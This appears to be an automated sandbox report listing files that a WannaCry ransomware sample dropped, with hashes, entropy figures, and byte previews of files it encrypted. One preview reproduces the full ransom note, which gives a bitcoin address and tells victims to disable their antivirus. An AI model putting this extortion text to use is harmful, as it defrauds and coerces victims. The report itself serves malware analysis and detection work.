                                                                                                                                                                              Preview:..F.[{z..2UDD..K.t-..).W.Z.......~.{.fu..j.S70..?3...OcHe!.|;..i.m..Y Z6...*.S..R..].&.....]......;&......C.YGz..A..<.*.o..BR..{8C)ZM?.p..^..6..&T..h..u..yH+1..f.D...t.P |....8?,.~_X.......B..).w3....j.in&^=./WH.B.-.h~.7.iR...36..>..M9e....6\..(........PB$R.....4.6.l.\.e.X....E]r.J!a...u.x.'...e^......%.~..5h0(^z..q........w_..*.....*T(.Y7..$Z(...m....Om%..l.2I.|`.}...cW........[..Cg......NY!"*....p....+......j.-..y.X.....*I.......E..s.....Za6..bub.....^...ix^.x4....... B...S8@I....\.3.&.!.'|E..D..W.@Tj*W.V$Qg.E..7..H..d....K.:.x.3.._Zl.m...=..E.5s.6,1.....c=.d...+...n.f.....&..f....&.d..1.s...sg....N.Ws=.J.......-==.@..u..J._$.....V._.N...>f-....X.<1.. ..Xm.p......R..i.....L........V}2.....b..*.)...v_a........../..|.J.TK*.........}-D.u..lY...V..$yEK.o...-..]m'....8hv.....t../.(5..."#.)h....F...Dy.....3{.y.17o...q....S..S1.*6..^K|.M!..m...a.yP.}8l..N...~AL.8...1.na....(....-.....8.{.-..b.@...1.W3.{]..l....(..^.X.D...5.b..F..q.9i.q.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\73.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.801593672154118
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:PX4jCrNVCziuvdVw/cp+L4nq7rGYrnSNSEvKR46OtIYM:PX6CxVbLGq7rGY0vKR46BP
                                                                                                                                                                              MD5:CCAB1D0B542EAA84DBC05DB3664B6CAE
                                                                                                                                                                              SHA1:C4745895F62A9AA9700E5C2608CC53A34636A4FD
                                                                                                                                                                              SHA-256:B30DEB27CE09A78DDECE9D06137250C39B5FD7DF11BCF3C1B8F525F6BA53F6A1
                                                                                                                                                                              SHA-512:510006FDE8674EA328F369C5B148F20B3CB602D2BACBC80B91D0346E7FDBEBD0A12A70789C3D53211F310D997F9808F8700B8EDFE65ED1AEAAAA2424033713DF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:e).....*.Jm[.7..,.q~......F.\V.zH_....p..~..#.../..._...{^.........+.+.S..|.P.).`(D.\.......$.qA..^s..Q..dM.h*j.1.=(......oNNG.CM.>..?..D..'.I..Z@..a.^..[q.i.A...^..b%>.. .....8....d.!.a......#..Vl....?...].q.v..V*..AA.Y.[.=.%..X...!.}Fl.co......j.}.c......3.h.U..R.e..L?D..EW....M.C.hS\.?..u.2L.i.'<..4(..P...)..!.....C...u@.=Q....t,.@9y.@....L..g){]....$.G........m..j.O....`.../....E.Z.(P.l..nt.7t..b....C......R.#..m.E..oc.BF.......#.%.oT...>*.....>.k...E..Sq. .G..(.1..x.....:c....XpXR=..=.e...Xby....(z.o...<.j..Q..zP.W.gT..#..].;.q.[.-.*....=...G..+...c.vy.l.y....0....T.]J....t.....6^...3...#.r..t..1=..)a._$ma..%...MZn.MX..*.v...........3.f...H........(<.6.p:..c...=.~.{.A|. ..]w...-\?....../..M..O.....^......U..K.1..k.P.^'.D.c.^.a....._.BE..!...g...{.O.6.f.X@...N._>N........SK......1Sc/...SqZ0.oW$Tv.NL.g$.....#b.[%.!.....Q6..[..0.LX.s.SEN..=Z....,]....d..\..t..5......X....|.k....o......5.....[.,]..<......B....M.F....f8.@.lV.3..r

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\8.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.784305841131773
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:oAStleKAQ8uMRL7lvax0M5+3aOIKg8ZeAXiNmm03C5dt2MqpUfQ5:TStleKoO0Mk3aONGU3C5dkMKo2
                                                                                                                                                                              MD5:530DE8661A95FE3D89595244B0658463
                                                                                                                                                                              SHA1:6679ADCEF840F846557D7EB7B1705B8CFF1CD2C6
                                                                                                                                                                              SHA-256:A7B52CD64CBB156F17AA882E9C730D045F7EE867945E196F5A6D5475295C577D
                                                                                                                                                                              SHA-512:BFD2A4869A620D1CBC8B5E48292D14476F948CE38F9DAFA5AED3BB1AA5FEBEA64115D7F87835BD5D3482E291FB1F0BACADAF56D9A53F08B6232764DB023AC0B7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..F.LB.f.s........(...03..p)..;...?....(..s.?.+Da..E1...M...*.C....;.m15........^*.G%lW../G.7.K........_..NfX.......0..gW\..Uf.....o0+r..1`y.D9.c.~.2...y..,...\A=.N...xS...7..0...8.....G....F..!.+bd.U.....B..6..q_...x.C..!..W.Y.)A.2%]..s............d.....-..fKc..K..u,2'...L........pl+pq.].t'..7W...Q..r]......:.8&..d..7..+.7-..3.z.6..g.h.>.}"*.;..\..R&}..`...M....`t...ev&...[.of..(....R...8.R..P..l;..{..ar(.p..v=4...............F..J1).+xP.]m.V..H..,g0..X.F......%..L~\.7V.-n;*.z..X...!.7.c..&............t.k..q.e..H.. ..3t...!.yB.d....XF....Fq.V..2...]./..+fmu...,..F.( m.$.?.[aM..^..jo....A-R.\.xl1y..6..s...(...";.>..;<..XqY...#.H@@-..!L...=.Mr.(....[...-....}......~hL..^..L..Z..L.V[ ..o......H.5V..,K..n&.&.V.M.f.y.pT...Av.+5.V....y..:.....g...P}.C..Y.Xf..'.e.^.........6....q.n.jX3%."a.[No.......U0.t..8........H.DI...|3.?.K..x..aT.....Z.........3&o.[..D..K.R..3..!...Pv.X..J8...l..Pe......c.........o.U.) .6.o..&.J.X.."G..).._......h.%k..t..W*z.fF.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\9.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.808831894514367
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:8HhjNsnhLdTMc8B2mCf6CIkadbEfR6yOjVtfeaheMn:+GHV8B+9LadbQRIV9eah
                                                                                                                                                                              MD5:D94E68B2FDCD5B096FCDE6868297942C
                                                                                                                                                                              SHA1:53A6F6A48D78144C12E63ED436DE326AB2B5136D
                                                                                                                                                                              SHA-256:CD39DB51402ABEFA4AEC96093A89B1086DD29481CDADA30E997F8EB9B9F90F84
                                                                                                                                                                              SHA-512:6A53E1E3C147F4F35BEECB089F91FD381775CE8587C00D771C457A688AB996D66D0E10E1173A2153FA6AD213572EC66C5739C33096230EA45E7CD0A6E12D6A86
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...............2.1..g.T._?.5....R.w.....G......|.B..@^Q.l-....J.....[;!..z...N,@i.h.V_Om...o+..afT......I....D....V.@.0...]......r;q'.Z...S.....9.dr._$MI...8m}"R... ......x.~.U ;..Hs..C.B./s.JP3...]..j.d.S.....eZ.....;9..B....e...3....[..]...~...G./....w..eB.....^H+..@.p.P_w.eK.R!..`J..5......Y........i.8....RZ._..b.(.............`d.!......Fl..M......b....N|>......D.....k.L.,[.{..h...W..l.(...8).{>..p...QK.|...Yd5.'H{..Y../.:.....s]KS.....Vg.P....us+Q8g;^.4?..Nrm...7...n....2.9|H...........SQ..N}...#<....\..:..1.W2~......>..,k....,.L.?..f..o.%|Z.-./.....P.(..*..~.D#.......h.#O#..._Px.0. .A+9....|.h.k.5.5..G.fO"x.(2@~.@.5q..l...C.......r:3.e.O.c.6R?A....7.].....!*;W.=..\t.`^.T0 ...fE..r...4c.,........&...x....5S..7.d.......+B......k...p!.h....2..+.P.....ew]..N.m......\.^Q....B+{.w...f[...N..y.#....[.M1O..M...S...b./.......K.;Q.....W.v.....=..L.U.1..`.$...d.9....r..j."................T....:.A..-.9._.v..M....(...0P+6_...p/~]..{W..M.Y...E.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\Symbols\pingme.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):280
                                                                                                                                                                              Entropy (8bit):7.201918699230368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE5XJDl3Rs4IU2Sh3gTwMPU9eDLTmvAdQavvKWKwy5:bkE5D3a4IULJgTlU9eDLTzdQCKWPy
                                                                                                                                                                              MD5:6D7EB62A61139680FCB9A45B42E2E299
                                                                                                                                                                              SHA1:57F45B4F4C11A4551DE3A33386AC51CC8F3E1DD9
                                                                                                                                                                              SHA-256:F6FF4F5C30AA13DBC77B0A47E44DAFE6BBEFEE1CB4FE1D668030804120CDA693
                                                                                                                                                                              SHA-512:918924EDF6B464E5EC0C893455458D66B02F76AD2342FE53144C2AF62C126FC8F43C81ED259274D819ADCB5F79734B55756160F174633BFB524C99C418F47FA4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1..H.g.h.`y.^.......%..&+..~V.I...z..W......X.+.....@.5..R.S.H..P.>#wF.9.(o. T.T.....6.[..(....[jS.).....Q..O..:...>..W$...0m2...[..qE.f2.?...._s...E.r....W.....=.....e...d@..E.g..7.p...F.._.j.b.o......I.....)wv..EFs~o.~:r/....|.i......%}............

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24168
                                                                                                                                                                              Entropy (8bit):7.992382517382394
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:coyNC+hnyUsUX584JQG+rZY7gE9T30NEOzA3B8neRLmiEDNsYSTxrfv2yFQ:coyMmyfUJLKGN7gE9TAzQRcNZan2yFQ
                                                                                                                                                                              MD5:B5CC2039C75D13F9F5361B34F51F6ABF
                                                                                                                                                                              SHA1:D1614FD0081BCC0A4B815E9C69409BFEBF90A9AB
                                                                                                                                                                              SHA-256:BD5CE9ED7047501DD87DC26454AEB39E64F9AB1E7E5F773E51578DDFB2B6C475
                                                                                                                                                                              SHA-512:F441D2687CD6BDFCE0FD3C1E5FA042076AF386557521594C09572FB006D5BEB85D26B1941254933CA0F0E66010CA700D879D985D39BE6DBF7D84FAFEC1BFE84D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....W<.Y..&.8"b..C....\..3.~....K...Q........l.1F|.{[....= ..E6.iK..NY....X.....N..4z.l.......2I.....n.@<.-w:-....$....g..<..4.g........C...Z..c.H./BC;....P....RX...KU...#%IN......l...$.?..Ay..L.Xs._...&G...F...%.T.8U.$.l.'_x..Do$.-....GY...0mb.......D]......p.m.6..}..^..:=d..t....c5.v~....w..{......-.T.....g..AES...:..".%1vuJ....(.yf..Tf....T.....P....{.j.%..J.>]y).......`..]&!E..;.,2.<XKF.R...:..E....MA......ob..D..P.....k_...`...y.g.s...}{r-./..s..2=v.B..E.d.>..d.-..q9..o..d.D..!8.?.....mq.4...j..8..U%8.Z.R..n5..zOeLbr..->2._e.W2..U.6Z.L..=,.='....'...a..H.o.6.....BY='Pw....Q..8.8.....lRv......A-j..{..d.v.7-M..a9.w2.......5T...}.,........nt.n...Fr........I..$^..y.8;F..I.[.=.1G...Vxz...q!.8E.{#*,jwl..v...G..8.Is.D....`..xm...5........i....mP.A..Shq.....!DM......r.-.O#>..a.L.Fu..-e.................&.x.Q.0.cI..e..p.............S.w.......q.U.......3.U.n..)^U..3........U....5..P.*|.g !..*w..h.b7.B.]X.....?.i..z7...o..=d...M.".;n......8K..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\user.bmp.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.9997181710671885
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:n4Ch1PyurK0KTkrvOfec3H33AfjraCUhJRopkk03:nXh1Py50KTkUec3H33wjrGhwS3
                                                                                                                                                                              MD5:368CFCFB10131A96D424C87CE8BA104E
                                                                                                                                                                              SHA1:9707A21D0F0D27B26CBD2B9D0C816DFA50E4740B
                                                                                                                                                                              SHA-256:02C5ACBFB551C138847FB06394DA4CB60E11C1C933219F1931AEC1E5A2B171DA
                                                                                                                                                                              SHA-512:3F18871CDDDBB34E0A51237640DD1665C134DB564E59D70240E652C6222FF01850D956596D45975DFDC128797353D2A9F0AA55473C29A93B54BA5934A7425CB1
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....2.S..2..!..IuU...K.Z...1...t.v=/..O.#@....._k......T.W...8...=...e$o..0..b.(|v..#....%.....a~....0....{...;.I.Fc6.~*.9.;.........S.. ...[7...x.sE.n........_I.Bn...h...e...5s,..'.n7.prq.v.E....LZ..1z.A..f.w.../..y.c........u..L..L.P...B"....Kg....80......q=..u....#..G3.....9NB.\...q.....20...,.8.OX......)$...7..+t.>....pu......O>.b..l.X_...........s<...N.......W.v...[.?. ..8v;i...1eT.0zt......_.&..<..Z.hI..._x.,..^.5Y.CN0.w.+...{...g+.M.4...[..........Xa.........I.I...R.d.....O.x.q........#.(..)t....x...z..D..@.1..3...v......:l.{..8...d.J......y.*..Q.(......R.E.0...p....S.....QP|...P.-..O;...RK<D...o.0}..D..7'hB.V,.K..d...*n.t..y..=?.x...8...w..s,.9..u..}.+D{.V.<.!,. .Ic....kv.w.W0...GJ`: R.......H..}..>.D>..2...N.md=.k|.[F..f...g...CZ...Vm.'..."...3....m{.......U...*.9....Us......8=.'<..u2.5.....p.......=NL$.<.]=.6.w;...z>.*.zE....9.?..].VQ.......g.o.\..S.A)...zh..wx...#...[.....tU...{..S.*....~.f.>uO.RG

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\jones.bmp.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.999689928638081
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:GmKUZohD42YNg7K65HQie5D7tdEFXVlcwgTPWHVMJy:G8ZuYqK69hehAV2wYOVAy
                                                                                                                                                                              MD5:0335356BD6D8A4FA7B5D77EDA81F3448
                                                                                                                                                                              SHA1:B2A0C9AC1531833BD55F92DD37C669F4E8F45172
                                                                                                                                                                              SHA-256:F1520F41CF600BCAC4799FAF976154D015A1090CE5D9C4369B4EE8BC9E5451BB
                                                                                                                                                                              SHA-512:ED97A8ED33139D1558A1C51C76A3D51743F671C2DD8A39F91DF9A9CC1E0351D1E7923DDE2C29722E687AE499CF0B972C5D18CFE59341B295890BA7FF348D1B0D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....".I.3.h4g7..../.....k .....TL@_...$.0...?..RVT..i.6.....Iz............w./._.T.>..D.=.~a.A..b,.../...^..A...JN..L.3=.j08...I.n6.:`..D....f..0"0.zA).9...>......8Tk.*I..?.F..?V.........(.6)Bg>..qN..9^..(..m...v.. .!mL...&.M.2KMq.F.}P..=.i*q]..:.....80......#..W...E...|K....b:2..jA.gr.#.BV.. ^Y*.Uq.R>..c...R:.........G....s..K...Q.E&j....].".N..."L^..!..P.".Y..i.....=&Pmc ...N.&s.......j.D...;.......F.G.l..O.X..vl ..D.,,PJ....-..[.......2...M4.{u...7.).l...z{....u..I....S.DIu......ES....5.[..\.!......N..t.$tJ.).sU.).2}}i......./=...D..g...Vb.`.C|.\{.U...:... w>.U...{*0.b-%.z...?.4.....Sj.h.p..\.\5.2GM...L.?.lA....Wk......+.S.l...i..I.OC...V..e...y.>]..G.M.].^8......T.OM(|...jr.._....L.....&G.....#p....j......08..(%.Y.?Z....T.....E.r...N.S.....qd.V...sh;.....p.[....-.O `....FCa$../l....#\L}.<..V......^.B.$....i.....#Y'....L...fI#..........C.E....g.>"...Dy.Z..../.G\.I~p)& ...c........$)...~h.[..h.'..@.....p......L..R.l.R......Qz.E.#.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.850002765613167
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkP1GJpMRUX5sAvH9A3ZOkKcXpH7iAcbJ6icVtZZfLjoCL:bkP1GJeRq98ZOkKcXliAqRcjPfgY
                                                                                                                                                                              MD5:11B01066583AD6FDA247E46AFCAE05B5
                                                                                                                                                                              SHA1:BBDDAE36F3CD208B1AF02B573BACC15CBC008A60
                                                                                                                                                                              SHA-256:C48034D044E7E6EEBEE62574C651F4356F4FA201E2464442BDF5056F8A02C8FE
                                                                                                                                                                              SHA-512:12B7B0917A140B7FB5FB9085EED1AFF106C29E6AFF3B30F03824612A9EDFE98ACAF3B912D16AB772FBECD622826FFF1AB883E53CDFADAEEAA8024046D91F6807
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....G.....3.. ..?!=..]:..5.Y.."..t....EF.2.x....c..p.3.9.F./4.-.....-.^l..(.x>..5.e.l........p8`.R=...0..Q..l.....PO1.V......C1....q..}.k..)....s....E.=r.L.u....!..1.7M{....h.zMW}...y......V....G..L.......-..)..!..i.># !......wJ."<...::..._~...<............t.I..X;...p.o..~q'......Cz;:j..(...,J...#.PBv..u2..H..{S..W...d|....R.cs.t.>..K..t.......s.....Z.{...kF......p.B.....He..~..u...m......6.O.{.uZ=.#...Y...(o......a7...]9...G<...SR..K...MO.@s..gF.l..0...4tm.qn..J3..<....5.3..q..P.l.e.....1kt.d.$p.T.G.^.[U..J.d..X..{`...j...U.......,k.Om..d...x..M6\h.I..O.t).T.0vm..u..@.8k.(%..M".......#q1......Q..F.z...nU.}$8.F..&.Y.4..1.R...n.7..Q.g}.r.F..=...@\[..e.,.E..f.;...D..Q&..G.$.....Y..M.SIb..i.k.0..?,s7.~.c....%.+.....J.L..z.&.......P.%.....V).o..s%......P..FoE........}1..Q.L8Z.G...f.X...q._....E....Q.w#.......g\E.....W,u{x=^D.O...>..&ox...$..M?.....y..."N.e.d.z...J.Bp.{.P..C.I.....C...A.d.,..2...J%.fp.@{.UemB!.,.....=tT.i.R3tx;......".${R

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.858540325767331
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkdhObddnmrGoZBuLLAY9jAekNyZHe5CwsPSQXs/FchkdclRZmJB18VWVmcj4IIV:bkd47nCZEfAYtAekNy8wqQXECoclRe67
                                                                                                                                                                              MD5:C584CF9D958EA80EFD00766592082EB9
                                                                                                                                                                              SHA1:E173C8186FBED93B25766C197DE8C39B371816D0
                                                                                                                                                                              SHA-256:EBA6890D696D1F50A380D8AF59B5ED2CDD731D235BD559FDBC507CE657D66187
                                                                                                                                                                              SHA-512:7ADDB64F436AFCCB72EC742778FD865F9BAA4F2491DBDB8840CDF85947C82A167493DC5F1C27F10EDC221A8EDD52F15A04A965BD993882A33A5000C95382F267
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....&w.l}......K......Ya..;........t;[M..H'f..U.ttg2.F.w. ..X...9_cW).m.{s.g.6..MIS.....)...i.kb....^0..|#5..0.6..O/S-G.....Y...)*..C..~.]...*(.?.o.I....;.'..H.bd$I.P.L1l..7...@..."...?..5k.l.m.~..@...e......2K..+.m.#M.....(wyy.).MF..........yNE.....................H....9.q...........*k*...B..h;.v2..Y.W.%q......\....{-$}6.}.++'.o+sgC.....7...M...{h..G..3...0........r0c.`9..[.=...c...Tt....b.D.........d...C)....3.r...\......y...`LH..8m..U.C.....-W}.;....6...I..II..^(a.4%.3.J.{.,.."....Z.....P.in..kp....z..9(.&.i|...=..L..-1:.K.=.Y...hY%.?.......z%Nq..?..9..R..#.sI......j...^b....V......ii...9.r....q..D..J-...Hj,...w.$.z..-.+.T..CO.y..(.<.....Z.V\O.\..7.`.......$.@?....C.N?.N.tX.>...k....zS.j.o.5.......M.n.w@x.G...l...D.E.~.m.tQ...L.y..\MB%).#.~e..*...../.u.L..T.l_....#.&..`.E.C...YS.P`.s.....E`.Z0,n.dS."P.......l.[..v.ve.PD.....W.....HA........3...r...YR(.6.J.gg...J....k..F.g.7....!...R...'.U^..CK..^6S....h{).c.t*.......P

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84688750944476
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk8AK2YH4J71IUwsQwDKwApIOtPoG/8KmAZDgW8q75B6wT+V/Wwj:bkjn84LIrsGwvU+AZDgOB6Osey
                                                                                                                                                                              MD5:58278389C24C6114C699257B709D74F1
                                                                                                                                                                              SHA1:CDAA7889173F08B8A570BE423A00C22F89F2B0E9
                                                                                                                                                                              SHA-256:D7C23076AEC2DA93274577991949A71D63A94BCCCF924886224D15EADEADA331
                                                                                                                                                                              SHA-512:0D9EDAFDA7A5F508E32BB19D114C6E4ADF964CD739812E234E69ED0FAD05B77CC360DC92F63789B008C88F76BCC5916F376A3E57048D918B56A2C8801A520DCD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....q'.{`G.w#B...Z....O....y.........}m.4zs..Q.a...5./P.%..4".B...y..v%......FQr.......u.Q}..;'....\V.4a8.~...i......OQ.E.2............`...E.V..".rk.Q...[vf..I.....[.u..-g.K..\A....4..N.5c...'.[.~.V.X3.sum..,....L.!....7...n.LW...M...%.W>1;....A.............LDJ.H.'......F..W.-*v.1P.R.>..gIm.Od.%`.pC1Ot.P*..[...#...[.e...%...S."...o..v..OX..G=.:/.c.....".....G..c.......tb.)...\.[m...Bfvj.....J..#]...hI.$,..=.....H?..DZ[N..C#.E#&L....E..(..."...+.:...L...#o.!2_..vB................{x...~..R....4..I.C.r..x'.........N.. K.3.DO...aY@^.......c.&:.$l.7....,..BF....R...R..Xk\?-.#8aD.3[...@.JZ....nx.....P#',k4..U.u..xQ....%J)..n.K..Cc...I......$.1...C....eI.Nx...>....%...A.a......&"........uE ..........5w.R..LmH;>1..Kg...$..Q.B..<.^x....[A..al.>+......#..&%e@2.o.G.nQ.H......{.e..I&J]k..?..o..?...Bf<.....+. ....Fd......%-..s[..E...CR...n;....G.....vr..i...)U.H^.......OO.2{..:.pJY.B.S.L.....,... ._[f0.c.Vj[.L..L./.aR\...P..M.....Z.......ykf...<...g6..D

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854169564986162
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkVDFu32yDQf+LEH6rpGpJEKz4i3ql+QYCb7dXE3lN0U21GuEVEpXOQt1np/J:bkVxunDQf+wH6rpsrz4i3qk27dU1b21d
                                                                                                                                                                              MD5:7111DEC8CBBC878F7A4BCE116C25982A
                                                                                                                                                                              SHA1:C04D4DBCD76F32A167A590BF957B8B24CBCC7CE7
                                                                                                                                                                              SHA-256:3CC3645687BDCA73332FBA4CEE29D9F37B7399478B910A5A8C599FB15F09ECD8
                                                                                                                                                                              SHA-512:04BB302D1CAD4705CCA706C68B664B5F7390573A3A9B1C19F523A4113B279A022DE57ED5F08DF2EE5910A1679F2ADD64718DB5E7E0D965DFB42A8D46EEE62DDA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
